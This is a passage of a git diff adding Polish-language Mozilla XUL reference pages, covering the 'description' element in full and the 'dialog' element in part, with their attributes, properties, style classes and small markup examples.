href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p><a href="pl/XUL/stack">stack</a>
+</p>
diff --git a/files/pl/mozilla/tech/xul/description/index.html b/files/pl/mozilla/tech/xul/description/index.html
new file mode 100644
index 0000000000..c9aaf6bebf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/description/index.html
@@ -0,0 +1,235 @@
+---
+title: description
+slug: Mozilla/Tech/XUL/description
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/description
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest stosowany do tworzenia bloku tekstu. Tekst może być ustawiony przy użyciu atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> lub umieszczony wewnątrz znaczników <code>description</code> (otwierającego i zamykającego). Atrybut <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> stosuje się do ustawienia tekstu, który pojawi się w jednej linii. Jeśli tekst podany zostanie jako element potomny, będzie zawijany do nowej linii. Element ten może zawierać dowolne elementy potomne, którym w razie potrzeby można nadawać styl.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazk%c3%b3w">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-control">control</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-acccessKey">acccessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-control">control</a>, <a href="#p-crop">crop</a>, <a href="#p-disabled">disabled</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-header">header</a>, <a href="#s-indent">indent</a>, <a href="#s-monospace">monospace</a>, <a href="#s-plain">plain</a>, <a href="#s-small-margin">small-margin</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_description.png"></div>
+<pre class="eval">&lt;description&gt;
+ This is a long section of text that is displayed.
+&lt;/description&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-control">
+
+<dl><dt> <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ten atrybut określa <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu, z którym powiązana jest etykieta. Kiedy użytkownik na nią kliknie, połączony element staje się aktywny (focus).
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/header">header</a></code></dt>
+ <dd>
+ Klasę stosujemy do nagłówków. Zazwyczaj będzie powodować, że tekst ukaże się pogrubiony.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/indent">indent</a></code></dt>
+ <dd>
+ Klasa ta powoduje wcięcie z lewej strony tekstu.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/monospace">monospace</a></code></dt>
+ <dd>
+ Klasa powoduje, że tekst będzie wyświetlany w czcionce o stałej szerokości znaków.</dd>
+</dl>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/plain">plain</a></code></dt>
+ <dd>
+ Ta klasa sprawia, że element będzie wyświetlony bez obramowania lub marginesu.</dd>
+</dl>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/small-margin">small-margin</a></code>
+</dt><dd> Ta klasa powoduje wyświetlenie tekstu z małym marginesem.
+</dd></dl>
+<p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/dialog/index.html b/files/pl/mozilla/tech/xul/dialog/index.html
new file mode 100644
index 0000000000..6c9b9af6e3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/dialog/index.html
@@ -0,0 +1,448 @@
+---
+title: dialog
+slug: Mozilla/Tech/XUL/dialog
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/dialog
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element stosuje się zamiast elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> dla okien dialogowych. Atrybutu <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code> można użyć do ustawienia, które przyciski powinny być wyświetlane w oknie dialogowym. Przyciski te będą umieszczane w miejscu określonym przez daną platformę.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Tworzenie_okna">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-buttonaccesskeyaccept">buttonaccesskeyaccept</a>, <a href="#a-buttonaccesskeycancel">buttonaccesskeycancel</a>, <a href="#a-buttonaccesskeydisclosure">buttonaccesskeydisclosure</a>, <a href="#a-buttonaccesskeyextra1">buttonaccesskeyextra1</a>, <a href="#a-buttonaccesskeyextra2">buttonaccesskeyextra2</a>, <a href="#a-buttonaccesskeyhelp">buttonaccesskeyhelp</a>, <a href="#a-buttonalign">buttonalign</a>, <a href="#a-buttondir">buttondir</a>, <a href="#a-buttondisabledaccept">buttondisabledaccept</a>, <a href="#a-buttonlabelaccept">buttonlabelaccept</a>, <a href="#a-buttonlabelcancel">buttonlabelcancel</a>, <a href="#a-buttonlabeldisclosure">buttonlabeldisclosure</a>, <a href="#a-buttonlabelextra1">buttonlabelextra1</a>, <a href="#a-buttonlabelextra2">buttonlabelextra2</a>, <a href="#a-buttonlabelhelp">buttonlabelhelp</a>, <a href="#a-buttonorient">buttonorient</a>, <a href="#a-buttonpack">buttonpack</a>, <a href="#a-buttons">buttons</a>, <a href="#a-defaultButton">defaultButton</a>, <a href="#a-ondialogaccept">ondialogaccept</a>, <a href="#a-ondialogcancel">ondialogcancel</a>, <a href="#a-ondialogdisclosure">ondialogdisclosure</a>, <a href="#a-ondialogextra1">ondialogextra1</a>, <a href="#a-ondialogextra2">ondialogextra2</a>, <a href="#a-ondialoghelp">ondialoghelp</a>, <a href="#a-title">title</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-buttons">buttons</a>, <a href="#p-defaultButton">defaultButton</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-acceptDialog">acceptDialog</a>, <a href="#m-cancelDialog">cancelDialog</a>, <a href="#m-centerWindowOnScreen">centerWindowOnScreen</a>, <a href="#m-getButton">getButton</a>, <a href="#m-moveToAlertPosition">moveToAlertPosition</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_dialog.png"></div>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?&gt;
+&lt;dialog id="donothing" title="Dialog example"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ buttons="accept,cancel"
+ buttonlabelcancel="Cancel"
+ buttonlabelaccept="Save"
+ ondialogaccept="return doOK();"
+ ondialogcancel="return doCancel();"&gt;
+
+ &lt;dialogheader title="Options" description="My preferences"/&gt;
+ &lt;groupbox&gt;
+ &lt;caption label="Colour"/&gt;
+ &lt;radiogroup&gt;
+ &lt;radio label="Red"/&gt;
+ &lt;radio label="Green" selected="true"/&gt;
+ &lt;radio label="Blue"/&gt;
+ &lt;/radiogroup&gt;
+ &lt;label value="Nickname"/&gt;
+ &lt;textbox /&gt;
+ &lt;/groupbox&gt;
+&lt;/dialog&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-buttonaccesskeyaccept">
+
+<dl><dt> <code id="a-buttonaccesskeyaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyaccept">buttonaccesskeyaccept</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku 'Akceptuj'.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonaccesskeycancel">
+
+<dl><dt> <code id="a-buttonaccesskeycancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeycancel">buttonaccesskeycancel</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku &lt;tt&gt;Anuluj&lt;/tt&gt;.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonaccesskeydisclosure">
+
+<dl><dt> <code id="a-buttonaccesskeydisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku typu "disclosure" (zwykle "Szczegóły" - przyp. tłum.).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonaccesskeyextra1">
+
+<dl><dt> <code id="a-buttonaccesskeyextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra1">buttonaccesskeyextra1</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla pierwszego przycisku.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonaccesskeyextra2">
+
+<dl><dt> <code id="a-buttonaccesskeyextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra2">buttonaccesskeyextra2</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla drugiego dodatkowego przycisku.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonaccesskeyhelp">
+
+<dl><dt> <code id="a-buttonaccesskeyhelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyhelp">buttonaccesskeyhelp</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku "Pomoc".
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonalign">
+
+<dl><dt> <code id="a-buttonalign"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonalign">buttonalign</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttondir">
+
+<dl><dt> <code id="a-buttondir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttondir">buttondir</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttondisabledaccept">
+
+<dl><dt> <code id="a-buttondisabledaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttondisabledaccept">buttondisabledaccept</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, przycisk akceptacji jest początkowo wyłączony.
+</dd></dl>
+
+
+</div>
+<div id="a-buttonlabelaccept">
+
+<dl><dt> <code id="a-buttonlabelaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelaccept">buttonlabelaccept</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta do wyświetlenia na przycisku "Akceptuj".
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonlabelcancel">
+
+<dl>
+ <dt>
+ <code id="a-buttonlabelcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelcancel">buttonlabelcancel</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "Anuluj".</dd>
+</dl>
+</div>
+<div id="a-buttonlabeldisclosure">
+
+<dl>
+ <dt>
+ <code id="a-buttonlabeldisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabeldisclosure">buttonlabeldisclosure</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "disclosure".</dd>
+</dl>
+</div>
+<div id="a-buttonlabelextra1">
+
+<dl><dt> <code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta do wyświetlenia na pierwszym dodatkowym przycisku.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonlabelextra2">
+
+<dl>
+ <dt>
+ <code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na drugim dodatkowym przycisku.</dd>
+</dl>
+</div>
+<div id="a-buttonlabelhelp">
+
+<dl>
+ <dt>
+ <code id="a-buttonlabelhelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelhelp">buttonlabelhelp</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "Pomoc".</dd>
+</dl>
+</div>
+<div id="a-buttonorient">
+
+<dl><dt> <code id="a-buttonorient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonorient">buttonorient</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttonpack">
+
+<dl><dt> <code id="a-buttonpack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonpack">buttonpack</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-buttons">
+
+<dl><dt> <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operacje.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
